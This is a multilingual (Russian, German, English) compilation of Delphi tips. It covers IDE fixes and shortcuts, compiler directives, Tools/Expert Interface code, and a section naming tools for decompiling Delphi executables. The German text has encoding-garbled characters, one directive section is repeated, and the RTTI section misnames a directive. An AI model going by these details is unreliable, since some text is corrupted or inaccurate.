для двух примеров, имеющих одинаковую функциональность, но достигающую ее разными путями.
Создайте 2 одинаковых обработчика события. В каждом обработчике события разместите приведенный ниже код. Установите
точку прерывания на первой строчке каждого обработчика. Запустите приложение и активизируйте события. Сравните
ассемблерный код обоих методов. Один короче? В этом случае он будет исполняться быстрее.
Достойными для такого рода анализа могут быть участки кода, многократно выполняемые в процессе работы программы,
или критические ко времени выполнения.
Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является
использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do"
будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически
создаваемых объектов?
Код:
with TObject.create do
begin
property1 := ;
property2 := ;
property3 := ;
end;
будет выполняться быстрее, чем
MyObj := TObject.create;
MyObj.Property1 := ;
MyObj.Property2 := ;
MyObj.Property3 := ;
Delphi 5 sometimes rearranges its toolbars seemingly at random (and rather stupidly) every time it starts or
loads a project. Once it starts doing this, it is pointless to rearrange them and store the desktop, Delphi
will just make a mess out of it again.
I have not been able to find out, what causes this, but apparently the toolbar settings in the registry get
corrupted. Deleting them, will restore the default> toolbars again. You can then customize them and Delphi will
remember your settings. (Until next time the registry entries get corrupted. :-( ).
(If you never experienced this problem, count yourself lucky, it is quite annoying.)
The entries are under HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, just delete all entries.
{********}
Delphi 5 ordnet die Toolbars manchmal bei jedem Start und beim Laden von Projekten neu an, meist kommt dabei
ziemlicher Bloedsinn heraus. Sie neu anzuordnen hilft nicht, da Delphi die Einstellungen gleich wieder verwurstet.
Ich konnte nicht herausfinden, was dieses Phaenomen verursacht, aber anscheinend sind die Eintraege in der Registry,
die diese Einstellungen speichern, ungueltig. Wenn man sie loescht, bekommt man wieder die Standardanordnung und
anschliessend speichert Delphi evtl. vorgenommene Aenderungen auch wieder ab. (Bis sie zum naechsten
Mal kaputtgehen. :-( ).
(Wenn Du dieses Problem nie hattest, sei froh, es ist extrem nervig.)
Die Eintrage, um die es geht, stehen unter HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, einfach alle Eintraege loeschen.
When sie z.B. einen TPanel auf einen Formular auf alClient GrцЯe eingestellt haben, dann kцnnen Sie das
Formular Objekt darunter nicht mehr mit der Maus selektieren.
Aber so geht''s:
1. Panel anclicken
2. ESC drьcken
ESC selektiert automatisch die Eltern-Komponent des aktiven Objekts, also das TForm in diesem Fall.
Auch bei "verschachtelte Komponente" kцnnen Sie wiederholt auf ESC drьcken, um jeweils eine Ebene "hцher" zu
landen bzw. zu selektieren.
Es ist auch manchmal schneller als die Component im IDE Explorer zu suchen...
{**************************************************************}
Maybe you have a Panel on your Form with Alignement:=alClient.
You cannot select the underlying Form with the Mouse.
The quick way to select it:
1. select the panel
2. Press ESC
It works with all Child components.
Also many times in a row.
ESC always selects the Parent of the activ component.
This''s sometimes faster than looking for the control in the IDE Explorer...
Читая форумы по программированию, иногда натыкаешься на вопрос типа: "У меня есть откомпилированная программа на Delphi.
Как мне получить её исходный код?". Обычно такой вопрос возникает, когда программист потерял файлы проекта и у него
остался только .exe. Как правило полностью восстановить исходный код на языке высокого уровня невозможно. Значит ли
это, что другие тоже не смогут восстановить исходный код Вашей программы ? Хм ... и да и нет ...
Для начала сразу скажу, что восстановить исходный код в точности каким он был однозначно невозможно, так как не
существует в мире такого декомпилятора, который бы смог сотворить такое.
После компиляции и линковки проекта и получения исполняемого файла все имена, используемые в программе конвертируются
в адреса. Потеря имён означет, что декомпилятор создаст уникальное имя для каждой константы, переменной, функции и процедуры.
Даже если мы и достигнем какого-то успеха в декомпиляции исполняемого файла, то получим уже другой синтаксис программы.
Данная проблема связана с тем, что при компиляции практически идентичные куски кода могут быть скомпилированы в разные
последовательности машинных команд (ASM), которые присутствуют в .exe файле. Естевственно декомпилятор не обладает такой
степенью интеллектуальности, чтобы решить - какова же была последовательность инструкций языка высокого уровня в исходном
проекте.
Когда же применяется декомпиляция ? Для этого существует довольно много причин. Вот некторые из них:
* Восстановление исходного кода;
* Перенос приложения на другую платформу;
* Определение наличия вирусов в коде программы или вредоносного кода;
* Исправление ошибок в программе, в случае, если создатель приложения не собирается этого делать :)
Легально ли всё это? Хотя декомпиляция и не является взломом, но утвердительно ответить на этот вопрос довольно сложно.
Обычно программы защищены законом об авторских правах, однако в большинстве стран на декомпиляцию делается исключение.
В часности, когда необходимо изменить интерфейс программы для конкретной страны, а сервис приложения не позволяет этого сделать.
На данный момент Borland не предоставляет никаких программных продуктов, способных декомпилировать исполняемые файлы (.exe)
либо откомпилированные Delphi-модули (.dcu) в исходный код (.pas).
Если же Вы всё-таки решились попробовать декомпилировать исполняемый файл, то необходимо знать следующие вещи. Исходные
коды на Delphi обычно хранятся в файлах двух типов: сам исходник в ASCII кодировке (.pas, .dpr) и файлы ресурсов
(.res, .rc, .dfm, .dcr). Dfm файлы хранят в себе свойства объектов, содержащихся в форме. При создании конечного .exe,
Delphi копирует в него информацию из .dfm файлов. Каждый раз, когда мы изменяем координаты формы, описания кнопок или
связанные с ними события, то Delphi записывает эти изменения в .dfm (за исключением кода процедур. Он сохраняется в файлах
pas/dcu ). И наконец, чтобы получить при декомпиляции файл .dfm, нужно знать - какие типы ресурсов хранятся внутри Win32
исполняемого модуля.
Все программы, скомпилированные в Delphi имеют следующие секции: CODE, DATA, BSS, .idata, tls, .rdata, .rsrc. Самые
важные для декомпиляции секции CODE и .rsrc. В статье "Adding functionality to a Delphi program" приведены некоторые
интересные факты о исполняемых форматах Delphi, а так же информация о классах и DFM ресурсах. В этой статье есть
один интересный момент под заголовком: "Как добавить свой обработчик события в уже откомпилированный файл, например,
чтобы изменять тект на кнопке".
Среди многих типов ресурсов, которые сохранены в .exe файле, интерес представляет RT_RCDATA, который хранит информацию,
которая были в DFM файле перед трансляцией. Чтобы извлеч DFM данные из .exe файла, мы можем вызываться API функцией
EnumResourceNames.
Исскуство декомпилирования традиционно было уделом мастеров, знакомых с ассемблером и отладчиками. Некоторые Delphi
декомпиляторы создают впечатление, что любой, даже с ограниченными техническими знаниями, может изменить по своему
желанию большинство исполняемых файлов Delphi.
И в заключение, если Вы заинтересовались декомпилованием, то предлагаю Вам несколько Delphi декомпиляторов:
DeDe
DeDe довольно шустрая программка, позволяющая анализировать экзешники, скомпилированные в Delphi. После декомпиляции
DeDe даёт Вам следующее:
* Все dfm файлы. Вы сможете открывать их и редактировать в Delphi
* Все объявленные методы с хорошо комментированным кодом на ассемблере с ссылками на строки, импортированных
функций, методов и компонент в юните, блоки Try-Except и Try-Finally.
* Большое количество дополнительной информации.
* Вы можете создать папку Delphi проекта со всеми файлами dfm, pas, dpr. Не забудьте, что pas файлы содержат
ассемблерный код.
Revendepro
Revendepro находит почти все структуры (классы, типы, процедуры, и т.д.) в программе, и генерирует их паскальное
представление, процедуры естевственно будут представлены на языке ассемблера. К сожалению, полученный ассемблерный
код не может быть заново откомпилирован. Так же доступен исходник этого декомпилятора. К сожалению, этот декомпилятор
не совсем рабочий - генерирует ошибку при декомпиляции.
MRIP
Позволяет извлекать из Delphi приложения любые ресурсы: курсоры, иконки, dfm файлы, pas файлы и т.д. Но главная
его особенность - это способность извлекать файлы, хранящиеся в других файлах. Поддерживается более 100 форматов файлов.
MRip работает под DOS.
Exe2Dpr
Эта программа может восстановить частично потерянные исходники проекта. Не имеет интерфейса и работает с командной
строки, например: 'exe2dpr [-o] exeFile' ( исходники проекта будут созданы в текущей директории).
директивы условной компиляции
{$C+} и {$C-} - директивы проверки утверждений
{$I+} и {$I-} - директивы контроля ввода/вывода
{$M} и {$S} - директивы, определяющие размер стека
{$M+} и {$M-} - директивы информации времени выполнения о типах
{$Q+} и {$Q-} - директивы проверки переполнения целочисленных операций
{$R} - директива связывания ресурсов
{$R+} и {$R-} - директивы проверки диапазона
{$APPTYPE CONSOLE} - директива создания консольного приложения
1) Директивы компилятора, разрешающие или запрещающие проверку утверждений
По умолчанию {$C+} или {$ASSERTIONS ON}
Область действия локальная
Описание
Директивы компилятора $C разрешают или запрещают проверку утверждений. Они влияют на работу процедуры Assert,
используемой при отладке программ. По умолчанию действует
директива {$C+} и процедура Assert генерирует исключение EAssertionFailed, если проверяемое утверждение ложно.
Так как эти проверки используются только в процессе отладки программы, то перед ее окончательной компиляцией следует
указать директиву {$C-}. При этом работа процедур Assert будет блокировано и генерация исключений EassertionFailed
производиться не будет.
Директивы действуют на весь файл исходного кода независимо от того, в каком месте файла они расположены.
2) Директивы компилятора, включающие и выключающие контроль файлового ввода-вывода
По умолчанию {$I+} или {$IOCHECKS ON}
Область действия локальная
Описание
Директивы компилятора $I включают или выключают автоматический контроль результата вызова процедур ввода-вывода
Object Pascal. Если действует директива {$I+}, то при возвращении процедурой ввода-вывода ненулевого значения генерируется
исключение EInOutError и в его свойство errorcode заносится код ошибки. Таким образом, при действующей директиве {$I+}
операции ввода-вывода располагаются в блоке try...except, имеющем обработчик исключения EInOutError. Если такого
блока нет, то обработка производится методом TApplication.HandleException.
Если действует директива {$I-}, то исключение не генерируется. В этом случае проверить, была ли ошибка, или ее не было,
можно, обратившись к функции IOResult. Эта функция очищает ошибку и возвращает ее код, который затем можно анализировать.
Типичное применение директивы {$I-} и функции IOResult демонстрирует следующий пример:
{$I-}
AssignFile(F, s);
Rewrite(F);
{$I+}
i := IOResult;
if i <> 0 then
case i of
2: ..........
3: ..........
end;
В этом примере на время открытия файла отключается проверка ошибок ввода вывода, затем она опять включается,
переменной i присваивается значение, возвращаемое функцией IOResult и, если это значение не равно нулю (есть ошибка),
то предпринимаются какие-то действия в зависимости от кода ошибки. Подобный стиль программирования был типичен до
введения в Object Pascal механизма обработки исключений. Однако сейчас, по-видимому, подобный стиль устарел и применение
директив $I потеряло былое значение.
3) Директивы компилятора, определяющие размер стека
По умолчанию {$M 16384,1048576}
Область действия глобальная
Описание
Локальные переменные в процедурах и функциях размещаются в стеке приложения. При каждом вызове процедуры или функции
ее локальные переменные помещаются в стек. При выходе из процедуры или функции эти локальные процедуры удаляются из стека.
Директивы компилятора $M задают параметры стека приложения: его минимальный и максимальный размеры. Приложение всегда
гарантированно имеет размер стека, равный его минимальной величине. Если при запуске приложения Windows обнаруживает,
что не может выделить этот минимальный объем памяти, то выдается сообщение об этой ошибке.
Если во время работы выясняется, что минимального размера стека не хватает, то размер увеличивается на 4 K, но не более,
чем до установленного директивой максимального размера. Если увеличение размера стека невозможно из-за нехватки памяти
или из-за достижения его максимальной величины, генерируется исключение EStackOverflow. Минимальный размер стека по умолчанию
равен 16384 (16K). Этот размер может изменяться параметром minstacksize директивы {$M} или параметром number директивы {$MINSTACKSIZE}.
Максимальный размер стека по умолчанию равен 1,048,576 (1M). Этот размер может изменяться параметром maxstacksize директивы
{$M} или параметром number директивы {$MAXSTACKSIZE number}. Значение минимального размера стека может задаваться целым
числом в диапазоне между1024 и 2147483647. Значение максимального размера стека должно быть не менее минимального
размера и не более 2147483647. Директивы задания размера стека могут включаться только в программу и не должны
использоваться в библиотеках и модулях.
В Delphi 1 имеется процедура компилятора {$S}, осуществляющая переключение контроля переполнения стека. Теперь этот
процесс полностью автоматизирован и директива {$S} оставлена только для обратной совместимости.
4) Директивы компилятора, включающие и выключающие генерацию информации времени выполнения о типах
(runtime type information - RTTI)
По умолчанию {$M-} или {$ TYPEINFO OFF}
Область действия локальная
Описание
Директивы компилятора $I включают или выключают генерацию информации времени выполнения о типах
(runtime type information - RTTI). Если класс объявляется в состоянии {$M+} или является производным от класса
объявленного в этом состоянии, то компилятор генерирует RTTI о его полях, методах и свойствах, объявленных в
разделе published. В противном случае раздел published в классе не допускается. Класс TPersistent, являющийся
предшественником большинства классов Delphi и все классов компонентов, объявлен в модуле Classes в состоянии {$M+}.
Так что для всех классов, производных от него, заботиться о директиве {$M+}не приходится.
5) Директивы компилятора, включающие и выключающие проверку переполнения при целочисленных операциях
По умолчанию {$Q-} или {$OVERFLOWCHECKS OFF}
Область действия локальная
Описание
Директивы компилятора $Q включают или выключают проверку переполнения при целочисленных операциях. Под переполнением
понимается получение результата, который не может сохраняться в регистре компьютера. При включенной директиве {$Q+}
проверяется переполнение при целочисленных операциях +, -, *, Abs, Sqr, Succ, Pred, Inc и Dec. После каждой из этих
операций размещается код, осуществляющий соответствующую проверку. Если обнаружено переполнение, то генерируется
исключение EIntOverflow. Если это исключение не может быть обработано, выполнение программы завершается.
Директивы $Q проверяют только результат арифметических операций. Обычно они используются совместно с директивами {$R},
проверяющими диапазон значений при присваивании. Директива {$Q+} замедляет выполнение программы и увеличивает ее размер.
Поэтому обычно она используется только во время отладки программы. Однако, надо отдавать себе отчет, что отключение этой
директивы приведет к появлению ошибочных результатов расчета в случаях, если переполнение действительно произойдет во
время выполнении программы. Причем сообщений о подобных ошибках не будет.
6) Директива компилятора, связывающая с выполняемым модулем файлы ресурсов
Область действия локальная
Описание
Директива компилятора {$R} указывает файлы ресурсов (.DFM, .RES), которые должны быть включены в выполняемый модуль
или в библиотеку. Указанный файл должен быть файлом ресурсов Windows. По умолчанию расширение файлов ресурсов - .RES.
В процессе компоновки компилированной программы или библиотеки файлы, указанные в директивах {$R}, копируются в
выполняемый модуль. Компоновщик Delphi ищет эти файлы сначала в том каталоге, в котором расположен модуль, содержащий
директиву {$R}, а затем в каталогах, указанных при выполнении команды главного меню Project | Options на странице
Directories/Conditionals диалогового окна в опции Search path или в опции /R командной строки DCC32.
При генерации кода модуля, содержащего форму, Delphi автоматически включает в файл .pas директиву {$R *.DFM},
обеспечивающую компоновку файлов ресурсов форм. Эту директиву нельзя удалять из текста модуля, так как в противном
случае загрузочный модуль не будет создан и сгенерируется исключение EResNotFound.
7) Директивы компилятора, включающие и выключающие проверку диапазона целочисленных значений и индексов
По умолчанию {$R-} или {$RANGECHECKS OFF}
Область действия локальная
Описание
Директивы компилятора $R включают или выключают проверку диапазона целочисленных значений и индексов. Если включена
директива {$R+}, то все индексы массивов и строк и все присваивания скалярным переменным и переменным с ограниченным
диапазоном значений проверяются на соответствие значения допустимому диапазону. Если требования диапазона нарушены
или присваиваемое значение слишком велико, генерируется исключение ERangeError. Если оно не может быть перехвачено,
выполнение программы завершается.
Проверка диапазона длинных строк типа Long strings не производится. Директива {$R+} замедляет работу приложения и
увеличивает его размер. Поэтому она обычно используется только во время отладки.
8) Директива компилятора, связывающая с выполняемым модулем файлы ресурсов
Область действия локальная
Описание
Директива компилятора {$R} указывает файлы ресурсов (.DFM, .RES), которые должны быть включены в выполняемый модуль
или в библиотеку. Указанный файл должен быть файлом ресурсов Windows. По умолчанию расширение файлов ресурсов - .RES.
В процессе компоновки компилированной программы или библиотеки файлы, указанные в директивах {$R}, копируются в
выполняемый модуль. Компоновщик Delphi ищет эти файлы сначала в том каталоге, в котором расположен модуль, содержащий
директиву {$R}, а затем в каталогах, указанных при выполнении команды главного меню Project | Options на странице
Directories/Conditionals диалогового окна в опции Search path или в опции /R командной строки DCC32.
При генерации кода модуля, содержащего форму, Delphi автоматически включает в файл .pas директиву {$R *.DFM},
обеспечивающую компоновку файлов ресурсов форм. Эту директиву нельзя удалять из текста модуля, так как в противном
случае загрузочный модуль не будет создан и сгенерируется исключение EResNotFound.
Delphi 4(5) виснут при запуске. Видеокарта S3 Virge.
Решение:
Добавьте в реестр строку:
[HKEY_CURRENT_CONFIG\Display\Settings]
"BusThrottle"="on"
Если не помогает, то попробуйте добавить в system.ini:
[Display]
"BusThrottle"="On"
Эта проблема устранена в Delphi 4sp3.
If you write a lot of code, you would probably have come across a situation where you need to record some keystrokes and
play them back a number of times.
You can now do this in the Delphi IDE by
1. pressing [Ctrl][Shift][R] to start recording,
2. type in the keystrokes you want repeated, and
3. press [Ctrl][Shift][R] to stop recording.
4. To Play back, press [Ctrl][Shift][P].
So kann ein Tastaturmakro in der Delphi IDE aufgezeichnet werden:
1. Eine Aufzeichnung wird durch Strg+Umschalt+R begonnen.
2. Anschliessend kцnnen die aufzuzeichnenden Tastenkombinationen gedrьckt werden.
3. Am Schluss der Aufzeichnung erneut Strg+Umschalt+R drьcken, um die Aufzeichnung zu beenden.
4. Zum Ausfьhren des Makros Strg+Umschalt+P drьcken.
-ns : ("no splash") flag skips the splash screen : Startet Delphi ohne Splash Screen (ab Delphi 2)
(Delphi 2 and later)
Delphi32.EXE -ns
-np : ("no project") flag tells Delphi not to open an empty project on startup : Startet Delphi, ohne ein leeres
Projekt zu цffnen.
(Delphi 5 and later)
Delphi32.EXE -np
-hm : ("Heap Monitor")
Displays information in the IDE title bar regarding the amount of memory allocated using the memory manager. Displays
the number of blocks and bytes allocated. Information gets updated when the IDE is idle. : Zeigt in der Titelleiste der
IDE Informationen ьber den allozierten Speicher an. Zeigt die Anzahl allozierten Blocks/Bytes an.
(Delphi 3 and later)
Delphi32.EXE -hm
-attach: Attach to running process.
This command-line is used to make Delphi a JIT debugger on Windows 95/98/NT.
Delphi 4 and later.
Note:
These command-line switches are
case-insensitive and can be prefixed with either - or /.
Bemerkung:
Die Parameter sind Case-Insensitive und kцnnen ein - oder / vorangestellt haben.
Text lower case / Text in Kleinbuchstaben
-----------------------------------------
Shortcut / Tastenkombination:
Ctrl+K O
Text upper case / Text in Grossbuchstaben
-----------------------------------------
Shortcut / Tastenkombination:
Ctrl+K N
...я все еще ищу *крутой* способ отрисовки содержимого окна редактирования IDE, и уже добрался до списка дескрипторов
окон. Я так понял, что для этого нужно использовать инструментальный интерфейс (Tools Interface), только c помощью него,
да? Ну и как этим чудом воспользоваться?
Приведенный ниже код может использоваться для включения заголовка исходного кода, представляющего собой шапку с
информацией об авторских правах, авторе, версии и пр. при добавлении нового модуля или формы к вашему проекту.
TIAddInNotifier - класс, реализованный в ToolIntf и позволяющий "захватывать" такие события, как открытие файлов,
их закрытие, открытие и закрытие проекта и др. Я перекрыл процедуру FileNotification для захвата событий AddedToProject
и RemovedFromProject. В обработчике события AddedToProject вы можете получить доступ к новому модулю проекта, особенно
это касается процедуры InsertHeader. Я создал наследника класса TIEditorInterface, расположенного в файле EditIntf.pas,
и создал собственную процедуру InsertHeader.
VCSNotifier создается в другом модуле и здесь не показан. Приведенный ниже код является частью моей программы,
осуществляющей контроль версий dll. При создании код "живет" до тех пор, пока работает Delphi. При получении кода
AddedToProject, я проверяю наличие файла (должен быть новым), и что он является .pas-файлом. Затем я создаю
VCSEditorInterface, мой унаследованный интерфейс, и использую мою процедуру InsertHeader.
В самой процедуре InsertHeader я создаю экземпляр TIEditReader для чтения нового модуля и TIEditWriter для его изменения.
unit VCSNtfy;
interface
uses SysUtils, Dialogs, Controls, ToolIntf, EditIntf;
type
TIVCSNotifier = class(TIAddInNotifier)
public
procedure FileNotification(NotifyCode: TFileNotification; const FileName:
string; var Cancel: Boolean); override;
end;
TIVCSEditorInterface = class(TIEditorInterface)
public
procedure InsertHeader;
end;
var
VCSNotifier: TIVCSNotifier;
VCSModuleInterface: TIModuleInterface;
VCSEditorInterface: TIVCSEditorInterface;
implementation
uses FITIntf, FITStr, Classes;
{ ************************* Начало VCSNotifier **************************** }
procedure TIVCSNotifier.FileNotification(NotifyCode: TFileNotification; const
FileName: string; var Cancel: Boolean);
var
TmpFileName: string;
begin
case NotifyCode of
fnRemovedFromProject: VCSProject.Remove(LowerCase(ExtractFileName(
FileName)));
fnAddedToProject:
begin
if (not FileExists(FileName)) and
(ExtractFileExt(FileName) = '.pas') then
begin
{ новый файл с исходным кодом }
VCSModuleInterface := ToolServices.GetModuleInterface(FileName);
if VCSModuleInterface <> nil then
begin
VCSEditorInterface := TIVCSEditorInterface(
VCSModuleInterface.GetEditorInterface);
VCSEditorInterface.InsertHeader;
VCSEditorInterface.Free;
end;
VCSModuleInterface.Free;
end;
TmpFileName := LowerCase(ExtractFileName(FileName));
if VCSProject.RecycleExists(TmpFileName) then
begin
if MessageDlg('Вы хотите извлечь текущие ' +
' записи из таблицы Recycle' +
#13 + #10 + ' ' +
VCSProject.ProjectName + '/' +
TmpFileName + '?', mtConfirmation,
[mbYes, mbNo], 0) = mrYes then
begin
VCSProject.Recycle(TmpFileName);
end;
end;
end;
end;
end;
{ ************************* Конец TIVCSNotifier *************************** }
{ ********************* Начало TIVCSEditorInterface ************************ }
procedure TIVCSEditorInterface.InsertHeader;
var
Module, TmpFileName, UnitName, InsertText, Tmp: string;
Reader: TIEditReader;
Writer: TIEditWriter;
APos: Integer;
F: TextFile;
begin
TmpFileName := ExtractFileName(FileName);
UnitName := SwapStr(TmpFileName, '.pas', '');
SetLength(Module, 255);
Reader := CreateReader;
try
Reader.GetText(0, PChar(Module), Length(Module));
finally
Reader.Free;
end;
APos := Pos('unit ' + UnitName, Module);
if APos > 0 then
begin
try
InsertText := '';
AssignFile(F, VCSConfig.HeaderFileLocation);
Reset(F);
while not EOF(F) do
begin
Readln(F, Tmp);
InsertText := InsertText + #13 + #10 + Tmp;
end;
CloseFile(F);
InsertText := InsertText + #13 + #10;
Writer := CreateWriter;
try
Writer.CopyTo(APos - 1);
Writer.Insert(PChar(InsertText));
finally
Writer.Free;
end;
except
on E: EStreamError do
MessageDlg('Не могу создать шапку', mtInformation, [mbOK], 0);
end;
end;
end;
{ ********************* Конец TIVCSModuleInterface ************************** }
end.
The menu "Tools" is a free configurable part of the Delphi-IDE.
You can there insert tools, you often use while coding.
I (for example) have the MSDN and another Editor in there.
First choose Tools / Configure Tools. Then click Add, to add another item.
Title is the caption beeing showed, when you open the tools menu.
A & makes the next letter to the QuickSelect letter.
Program is the program, you want to launch.
Use here (for example) "C:\Program Files\TextPad\TextPad.exe".
If you have spaces in you path or filename, quote the hole string.
Working dir is the directory, the program will be launched.
It''s normally the same as the program directory.
Parameters are beeing given to the program, you run, or (in case of macros) are beeing run,
when you select the item. Click on parameters, to show a list of macros for use with it.
With a second editor, the macros $SAVEALL and $NAME will be usefull.
To make the menu more structured, you can use a horizontal rule.
You create one, by entering - in the Title field.
Cause of a bug in the Delphi IDE, you cannot create a second rule as easy.
You''ll have to enter another caption first and then rename it.
{***************************************************************************}
Das Tools Menu ist ein frei konfigurierbarer Teil der Delphi-IDE.
Man kann darin Programme, die man oft zur Entwicklung von Delphi-Programmen braucht konfigurieren,
um sie bei Bedarf schneller zu цffnen. Ich habe dort drin z.B. die MSDN und ein alternativer Editor fьr Delphi-Sources,
sowie einige andere Tools.
Zuerst wдhlt man Tools / Configure Tools. In dem dann erscheinenden Menu kann man per
Add neue Eintrдge hinzufьgen.
Unter Title gibt man den Namen an, der erscheinen soll. '&' unterstreicht den nдchsten Buchstaben
(QuickSelect).
Unter Programm gibt man das Programm an, welches man starten mцchte.
Z.B. C:\Programme\TextPad\TextPad.exe. Wenn der Pfad Leerzeichen enthдlt, muss man entweder alles ins 8.3-Format
konvertieren, oder den Pfad mit "" schreiben.
Unter Working Dir sollte man den Pfad angeben, in dem auch das Programm ist.
Unter Parameters kann man Makros sowie auch Parameter fьr das Programm hinzufьgen.
Mit einem Klick auf Macros цffnet sich eine Liste mit den vorhandenen Makros mit kurzer Beschreibung.
Fьr einen zweiten Editor wдhre z.B. $SAVEALL, sowie $NAME sehr nьtzlich.
Um das ganze Menu besser Strukturieren zu kцnnen, kцnnen Horizontale Linien angelegt werden.
Dies macht man mit einem neuen Item, dass unter Title einen - (Bindestrich) drin hat.
Leider hat es in Delphi einen Bug, der verhindert, dass man zwei mal das "selbe" Item anlegt.
Um noch eine zweite Linie zu erstellen, muss man zuerst einen anderen Namen nehmen (z.B. Temp) und dann unter Edit
das auf - дndern.
Одной и наиболее сильных сторон среды программирования Delphi является ее открытая архитектура, благодаря которой Delphi
допускает своего рода метапрограммирование, позволяя “программировать среду программирования”. Такой подход переводит
Delphi на качественно новый уровень систем разработки приложений и позволяет встраивать в этот продукт дополнительные
инструментальные средства, поддерживающие практически все этапы создания прикладных систем. Столь широкий спектр возможностей
открывается благодаря реализованной в Delphi концепции так называемых открытых интерфейсов, являющихся связующим звеном между
IDE (Integrated Development Environment) и внешними инструментами. Данная статья посвящена открытым интерфейсам Delphi и
представляет собой обзор представляемых ими возможностей.
В Delphi определены шесть открытых интерфейсов: Tool Interface, Design Interface, Expert Interface, File Interface, Edit
Interface и Version Control Interface. Вряд ли в рамках данной статьи нам удалось бы детально осветить и проиллюстрировать
возможности каждого из них. Более основательно разобраться в рассматриваемых вопросах вам помогут исходные тексты Delphi,
благо разработчики снабдили их развернутыми комментариями. Объявления классов, представляющих открытые интерфейсы,
содержатся в соответствующих модулях в каталоге ...\Delphi\Source\ToolsAPI.
Design Interface (модуль DsgnIntf.pas)
предоставляет средства для создания редакторов свойств и редакторов компонентов. Редакторы свойств и компонентов – это
тема, достойная отдельного разговора, поэтому напомним лишь, что редактор свойства контролирует поведение Инспектора
Объектов при попытке изменить значение соответствующего свойства, а редактор компонента активизируется при двойном нажатии
левой кнопки мыши на изображении помещенного на форму компонента.
Version Control Interface (модуль VCSIntf.pas)
предназначен для создания систем контроля версий. Начиная с версии 2.0, Delphi поддерживает интегрированную систему
контроля версий Intersolv PVCS, поэтому в большинстве случаев в разработке собственной системы нет необходимости. По этой
причине рассмотрение Version Control Interface мы также опустим.
File Interface (модуль FileIntf.pas)
позволяет переопределить рабочую файловую систему IDE, что дает возможность выбора собственного способа хранения файлов
(в Memo-полях на сервере БД, например).
Edit Interface (модуль EditIntf.pas)
предоставляет доступ к буферу исходных текстов, что позволяет проводить анализ кода и выполнять его генерацию,
определять и изменять позицию курсора в окне редактора кода, а также управлять синтаксическим выделением исходного текста.
Специальные классы предоставляют интерфейсы к помещенным на форму компонентам (определение типа компонента, получение ссылок
на родительский и дочерние компоненты, доступ к свойствам, передача фокуса, удаление и т.д.), к самой форме и к ресурсному
файлу проекта. Также Edit Interface позволяет идентифицировать так называемые модульные нотификаторы, определяющие реакцию
на такие события, как изменение исходного текста модуля, модификация формы, переименование компонента, сохранение,
переименование или удаление модуля, изменение ресурсного файла проекта и т. д.
Tool Interface (модуль ToolIntf.pas)
предоставляет разработчикам средства для получения общей информации о состоянии IDE и выполнения таких действий, как
открытие, сохранение и закрытие проектов и отдельных файлов, создание модуля, получение информации о текущем проекте
(число модулей и форм, их имена и т. д.), регистрация файловой системы, организация интерфейсов к отдельным модулям и т.д.
В дополнение к модульным нотификаторам Tool Interface определяет add-in нотификаторы, уведомляющие о таких событиях, как
открытие/закрытие файлов и проектов, загрузка и сохранение desktop-файла проекта, добавление/исключение модулей проекта,
инсталляция/деинсталляция пакетов, компиляция проекта, причем в отличие от модульных нотификаторов add-in нотификаторы
позволяют отменить выполнение некоторых событий. Кроме того, Tool Interface предоставляет средства доступа к главному
меню IDE Delphi, позволяя встраивать в него дополнительные пункты.
Expert Interface (модуль ExptIntf.pas)
представляет собой основу для создания экспертов — программных модулей, встраиваемых в IDE c целью расширения ее
функциональности. В качестве примера эксперта можно привести входящий в Delphi Database Form Wizard, выполняющий генерацию
формы для просмотра и изменения содержимого таблицы БД.
Эксперты бывают нескольких типов (стилей):
Стиль Описание
esStandard Для каждого эксперта такого стиля IDE добавляет пункт меню Tools/..., при выборе которого эксперт
активизируется (IDE вызывает его метод Execute)
esForm
esProject IDE рассматривает эксперты данного стиля как шаблоны форм/проектов и помещает активизирующие их
изображения в галерею Object Repository.
esAddIn Эксперты подобного стиля обеспечивают собственный интерфейс с IDE
Класс каждого эксперта является потомком базового класса TIExpert, содержащего серию абстрактных методов, которые
необходимо перекрыть в порождаемом классе:
Метод Описание
GetName Должен возвращать имя эксперта
GetAuthor Должен возвращать имя автора эксперта. Это имя отображается в Object Repository
GetComment Должен возвращать комментарий (1-2 предложения), поясняющий назначение эксперта. Используется в Object Repository
GetPage Должен возвращать название страницы Object Repository, на которую IDE поместит соответствующее эксперту изображение
GetGlyph Должен возвращать дескриптор (HICON, в Delphi 1.0 – HBITMAP) соответствующего эксперту изображения в ObjectRepository
GetStyle Должен возвращать константу, соответствующую стилю эксперта (esStandard/esForm/esProject/esAddIn)
GetState Если возвращаемое множество содержит константу esChecked, IDE пометит соответствующий эксперту пункт меню
“галочкой”, а если множество содержит константу esEnabled, то IDE сделает этот пункт меню доступным для выбора
GetIDString Должен возвращать строку – идентификатор эксперта, уникальную среди всех установленных экспертов. По
соглашению, формат этой строки таков:
Имя_Компании.Назначение_эксперта,
например: Borland.WidgetExpert
GetMenuText Должен возвращать текст, отображаемый в пункте меню эксперта. Этот метод вызывается каждый раз, когда
раскрывается родительское меню, что позволяет сделать пункт меню контекстно-чувствительным
Execute Вызывается при вызове эксперта через меню или Object Repository (в зависимости от стиля)
Набор методов, подлежащих перекрытию, зависит от стиля эксперта:
Метод esStandard esForm esProject esAddIn
GetName + + + +
GetAuthor + +
GetComment + +
GetPage + +
GetGlyph + +
GetStyle + + + +
GetState +
GetIDString + + + +
GetMenuText +
Execute + + +
Определив класс эксперта, необходимо позаботиться о том, чтобы Delphi “узнала” о нашем эксперте. Для этого его нужно
зарегистрировать посредством вызова процедуры RegisterLibraryExpert, передав ей в качестве параметра экземпляр класса эксперта.
В качестве иллюстрации создадим простой эксперт в стиле esStandard, который при выборе соответствующего ему пункта меню
Delphi выводит сообщение о том, что он запущен. Как видно из вышеприведенной таблицы, стиль esStandard обязывает
перекрыть шесть методов:
unit exmpl_01;
{ STANDARD EXPERT }
interface
uses
Dialogs, ExptIntf;
type
{ класс эксперта является потомком базового класса TIExpert }
TEMyExpert = class( TIExpert)
function GetName: string; override;
function GetStyle: TExpertStyle; override;
function GetIDString: string; override;
function GetMenuText: string; override;
function GetState: TExpertState; override;
procedure Execute; override;
end;
procedure register;
implementation
{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
Result := 'My Simple Expert 1';
end;
{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
